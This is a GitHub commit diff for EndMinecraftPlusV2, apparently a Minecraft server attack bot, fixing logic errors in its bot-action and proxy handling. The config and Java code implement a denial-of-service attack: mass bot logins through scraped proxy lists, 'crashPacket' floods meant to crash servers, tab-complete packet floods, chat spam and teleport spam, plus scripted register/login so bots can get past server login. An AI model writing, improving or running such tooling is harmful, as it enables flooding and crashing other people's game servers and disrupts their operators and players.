Skip to content

Commit

Permalink
修复关键逻辑错误
Browse files Browse the repository at this point in the history
  • Loading branch information
SerendipityR-2022 authored Jan 30, 2024
1 parent 706dfe5 commit dcce3c9
Show file tree
Hide file tree
Showing 36 changed files with 289 additions and 130 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,10 @@ public static void doAttack() {
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler();
}

if (ProtocolLibs.currentVersion > 404 && ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}

BotManager botManager = new BotManager(botHandler, packetHandler);

if (ConfigUtil.AttackMethod.equals(5)) {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@
import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;

public class EndMinecraftPlusV2 {
public static String ver = "2.0.0";
public static Integer CfgVer = 7;
public static String ver = "2.0.1";
public static Integer CfgVer = 8;

public static void main(String[] args) {
System.out.println("=======================-Designed by SerendipityR-=======================");
Expand Down
32 changes: 17 additions & 15 deletions Main/src/config.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
# Designed by SerendipityR #
###############################

CfgVer: 7
CfgVer: 8

AttackSettings:
Address: "example.com"
Expand Down Expand Up @@ -122,25 +122,27 @@ BotSettings:
- "喵喵喵~ $rnd"
- "喵喵~ $rnd"
- "喵~ $rnd"
# 输出详细信息
DetailMsg: false
# 显示来自服务器的聊天信息
ShowServerMessages: true
# 行动流程
# async - 异步执行任务
# wait - 等待:<时间(ms)>
# chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>
# randomTeleport - 随机传送:<次数>_<间隔(ms)>
# backTeleport - 回到重生点
# register&Login - 执行注册/登录:<flag>_<是否使用已生成密码>_<自定义密码>
# crashPacket - 发送崩服数据包:<数量>
# tabAttack - 执行Tab补全:<数量>_<间隔(ms)>
# wait - 等待:<时间(ms)>_<flag>
# chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>_<flag>
# randomTeleport - 随机传送:<次数>_<间隔(ms)>_<flag>
# backTeleport - 回到重生点_<flag>
# register&Login - 执行注册/登录:<是否使用已生成密码>_<自定义密码> - Flag:login
# crashPacket - 发送崩服数据包:<数量>_<flag>
# tabAttack - 执行Tab补全:<数量>_<间隔(ms)>_<flag>
Actions:
- "register&Login:login_true_genshinImpact"
- "async|chatSpam:10_3000"
- "async|randomTeleport:25_100"
- "wait:3000"
- "async|backTeleport"
- "async|crashPacket:75"
- "async|tabAttack:25_75"
- "register&Login:true_genshinImpact"
- "async|chatSpam:10_3000_login"
- "async|randomTeleport:25_100_login"
- "wait:3000_login"
- "async|backTeleport:login"
- "async|crashPacket:75_login"
- "async|tabAttack:25_75_login"

Proxy:
# 代理获取方式:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@ public class ConfigUtil {
public static List<String> ClickVerifiesDetect;
public static List<String> CustomChat;
public static List<String> BotActions;
public static Boolean BotActionDetails;
public static Integer ProxyGetType;
public static Integer ProxyType;
public static Integer ProxyUpdateTime;
Expand Down Expand Up @@ -111,6 +112,7 @@ public int loadConfig(int cfgVer) {
RejoinDelay = config.getLong("BotSettings.RejoinDelay");
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
CustomChat = config.getStringList("BotSettings.CustomChat");
BotActionDetails = config.getBoolean("BotSettings.DetailMsg");
ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages");
BotActions = config.getStringList("BotSettings.Actions");
ProxyGetType = config.getInt("Proxy.GetType");
Expand Down
23 changes: 12 additions & 11 deletions Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,13 +5,14 @@
import java.net.Proxy;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.ConcurrentHashMap;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.regex.Matcher;

public class ProxyUtil {
public static Date runTime;
public static ConcurrentHashMap<String, String> proxies = new ConcurrentHashMap<>();
public static ConcurrentHashMap<Proxy, String> workingProxiesList = new ConcurrentHashMap<>();
public static List<String> proxies = new CopyOnWriteArrayList<>();
public static List<Proxy> workingProxiesList = new CopyOnWriteArrayList<>();

public static void getProxies() {
String getMethod;
Expand All @@ -38,7 +39,7 @@ public static void getProxies() {

public static void getProxiesFromAPIs(boolean replace) {
if (replace) {
proxies = new ConcurrentHashMap<>();
proxies.clear();
}

for (String url : ConfigUtil.ProxyAPIs) {
Expand All @@ -47,8 +48,8 @@ public static void getProxiesFromAPIs(boolean replace) {
while (matcher.find()) {
String ip = matcher.group();

if (!proxies.containsKey(ip)) {
proxies.put(ip, "");
if (!proxies.contains(ip)) {
proxies.add(ip);
}
}
}
Expand All @@ -66,12 +67,12 @@ public static void getProxiesFromFile(boolean replace) {
String tempString;

if (replace) {
proxies = new ConcurrentHashMap<>();
proxies.clear();
}

while ((tempString = reader.readLine()) != null) {
if (!proxies.containsKey(tempString)) {
proxies.put(tempString, "");
if (!proxies.contains(tempString)) {
proxies.add(tempString);
}
}

Expand Down Expand Up @@ -114,13 +115,13 @@ public static void saveWorkingProxy(Proxy proxy) {
File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt");
InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();

if (!workingProxiesList.containsKey(proxy)) {
if (!workingProxiesList.contains(proxy)) {
try {
FileWriter fileWriter = new FileWriter(workingProxies, true);
String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", "");
fileWriter.write(proxyAddress);
fileWriter.close();
workingProxiesList.put(proxy, "");
workingProxiesList.add(proxy);
} catch (IOException e) {
LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,8 @@ public interface BotHandler {

boolean hasClientFlag(Object client, String flag);

void setClientFlag(Object client, String flag);
void setClientFlag(Object client, String flag, Object value);
Object getClientFlag(Object client, String flag);

void setClientTimeout(Object client, long timeout);
}
Original file line number Diff line number Diff line change
Expand Up @@ -61,17 +61,22 @@ public void test() {
break;
case "randomTeleport":
int count = Integer.parseInt(_action[1]);
LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "次", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
if (positionList.containsKey(client)) {
LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "次", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);

}
break;
case "backTeleport":
LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
if (positionList.containsKey(client)) {
LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
}
break;
case "register&Login":
String pwd = _action[1];
LogUtil.doLog(0, "[DEBUG] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
doRegisterLogin(client, userName, 0, false, pwd);
doRegisterLogin(client, userName, 0, pwd);
break;
case "crashPacket":
int count_ = Integer.parseInt(_action[1]);
Expand Down Expand Up @@ -105,14 +110,18 @@ public void startTask(Boolean isDoubleAttack, int protocolVersion) {
}
}).start();

while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
executorService_1.execute(new botCreateTask());
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
new Thread(() -> {
new Thread(() -> {
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
for (Object client : aliveList.keySet().toArray()) {
executorService_2.execute(new botActivitiesTask(client, aliveList.get(client)));
}
}).start();
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
}
}).start();

while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
executorService_1.execute(new botCreateTask());
}
shutdownAndAwaitTermination(executorService_2);
shutdownAndAwaitTermination(executorService_1);
Expand Down Expand Up @@ -172,6 +181,7 @@ public void run() {
String disconnectMsg = botHandler.getClientDisconnectMsg(client);
executorService_1.execute(new botRejoinTask(disconnectMsg, proxy, userName, BotManager.doubleAttack)); // 重连尝试
clientList.remove(client);
positionList.remove(client);
}
}

Expand All @@ -186,6 +196,11 @@ public botActivitiesTask(Object client, String userName) {

@Override
public void run() {
if (botHandler.hasClientFlag(client, "activity") && botHandler.getClientFlag(client,"activity").equals(true)) {
return;
}

botHandler.setClientFlag(client, "activity", true);
for (String action : ConfigUtil.BotActions) {
boolean async = "async".equals(action.split("\\|")[0]);

Expand All @@ -198,65 +213,105 @@ public void run() {
runBotAction(client, userName, action, _action);
}
}
botHandler.setClientFlag(client, "activity", false);
}
}

private static void runBotAction(Object client, String userName, String action, String[] _action) {
switch (_action[0]) {
case "wait":
long waitTime = Long.parseLong(_action[1]);
LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack");
OtherUtils.doSleep(waitTime);
String[] waitArgs = _action[1].split("_");
long waitTime = Long.parseLong(waitArgs[0]);
String waitFlag = waitArgs[1];
if (botHandler.hasClientFlag(client, waitFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack");
}
OtherUtils.doSleep(waitTime);
}
break;
case "chatSpam":
String[] spamArgs = _action[1].split("_");
int chatCount = Integer.parseInt(spamArgs[0]);
long chatDelay = Long.parseLong(spamArgs[1]);
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "次", "BotAttack");
for (int i = 0; i < chatCount; i++) {
OtherUtils.doSleep(chatDelay);
packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName));
String chatFlag = spamArgs[2];
if (botHandler.hasClientFlag(client, chatFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "次", "BotAttack");
}
for (int i = 0; i < chatCount; i++) {
OtherUtils.doSleep(chatDelay);
packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName));
}
}
break;
case "randomTeleport":
String[] rndTpArgs = _action[1].split("_");
int rndTpCount = Integer.parseInt(rndTpArgs[0]);
long rndTpDelay = Integer.parseInt(rndTpArgs[1]);
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "次", "BotAttack");
for (int i = 0; i < rndTpCount; i++) {
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
OtherUtils.doSleep(rndTpDelay);
String rndTpFlag = rndTpArgs[2];
if (botHandler.hasClientFlag(client, rndTpFlag) && positionList.containsKey(client)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "次", "BotAttack");
}
for (int i = 0; i < rndTpCount; i++) {
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
OtherUtils.doSleep(rndTpDelay);
}
}
break;
case "backTeleport":
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
String[] bTpArgs = _action[1].split("_");
String bTpFlag = bTpArgs[0];
if (botHandler.hasClientFlag(client, bTpFlag)) {
if (positionList.containsKey(client)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack");
}
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
}
}
break;
case "register&Login":
String[] loginArgs = _action[1].split("_");
String flag = loginArgs[0];
boolean randomPwd = Boolean.parseBoolean(loginArgs[1]);
String pwd = loginArgs[2];
if (!botHandler.hasClientFlag(client, flag)) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
doRegisterLogin(client, userName, 0, randomPwd, pwd);
botHandler.setClientFlag(client, flag);
boolean randomPwd = Boolean.parseBoolean(loginArgs[0]);
String pwd = loginArgs[1];
if (!botHandler.hasClientFlag(client, "login")) {
if (randomPwd) {
pwd = DataUtil.botRegPasswordsMap.get(userName);
}
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
}
doRegisterLogin(client, userName, 0, pwd);
}
break;
case "crashPacket":
int packetCount = Integer.parseInt(_action[1]);
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "个", "BotAttack");
sendCrashPacket(client, packetCount);
String[] crashArgs = _action[1].split("_");
int packetCount = Integer.parseInt(crashArgs[0]);
String crashFlag = crashArgs[1];
if (botHandler.hasClientFlag(client, crashFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "个", "BotAttack");
}
sendCrashPacket(client, packetCount);
}
break;
case "tabAttack":
String[] tabArgs = _action[1].split("_");
int tabCount = Integer.parseInt(tabArgs[0]);
long tabDelay = Long.parseLong(tabArgs[1]);
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "个", "BotAttack");
for (int i = 0; i < tabCount; i++) {
packetHandler.sendTabCompletePacket(client, "/");
OtherUtils.doSleep(tabDelay);
String tabFlag = tabArgs[2];
if (botHandler.hasClientFlag(client, tabFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "个", "BotAttack");
}
for (int i = 0; i < tabCount; i++) {
packetHandler.sendTabCompletePacket(client, "/");
OtherUtils.doSleep(tabDelay);
}
}
break;
default:
LogUtil.doLog(0, "[" + userName + "] [行动] 无法识别的action语句: " + action, "BotAttack");
}
Expand Down Expand Up @@ -320,17 +375,13 @@ public void run() {
}
}

public static void doRegisterLogin(Object client, String userName, long delay, boolean randomPassword, String password) {
botHandler.setClientFlag(client, "login");
public static void doRegisterLogin(Object client, String userName, long delay, String password) {
botHandler.setClientFlag(client, "login", "");
new Thread(() -> {
for (String text : ConfigUtil.RegisterCommands) {
OtherUtils.doSleep(delay);
String cmd = text;
if (randomPassword) {
cmd = cmd.replace("$pwd", DataUtil.botRegPasswordsMap.get(userName));
} else {
cmd = cmd.replace("$pwd", password);
}
cmd = cmd.replace("$pwd", password);
cmd = cmd.replace("$userName", userName);
cmd = cmd.replace("$rnd", OtherUtils.getRandomString(4, 6));
LogUtil.doLog(0, "[" + userName + "] 注册信息已发送。", "BotAttack");
Expand Down
Loading

0 comments on commit dcce3c9

Please sign in to comment.